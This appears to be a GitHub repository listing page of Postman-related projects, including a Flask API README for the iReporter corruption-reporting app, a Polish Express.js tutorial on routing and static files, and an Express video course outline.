access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube 		# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks
sharrop/swag-post-gen
excel, fields, file, form, generator, inject, module, require, required, swagger, swagger2, test, tests, type 		A Swagger(OAS)v2-to-Postman generator - very much sitting on the shoulders of the excellent npm:swagger2-postman-generator module, but injecting Postman tests for required fields and type conformance - derived from the Swagger/OAS file. 0 stars 0 watchers 0 forks
thacherT1D/APICallsUsingPostman_wDeveloperKeys_MarvelAPI
require 		Using Postman for API Calls that require Developer Keys 0 stars 0 watchers 0 forks

designed (15 listings) (Back to Top)

Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
boffey/postman
client, client side, design, designed, form, plugin, program, validation 		A jQuery form validation plugin designed to help programmers validate client side forms 1 stars 1 watchers 1 forks
api-evangelist/api-governance-postman-collections
collection, collections, design, designed, governance, list, managed 		These are Postman collections designed for applying API governance to APIs being managed using Postman. 1 stars 1 watchers 0 forks
HathemAhmed/Spread_Bot
design, designed, message, send, site, spec 		Spread Bot is a postman designed to send a specific message to a large number of sites 1 stars 1 watchers 0 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
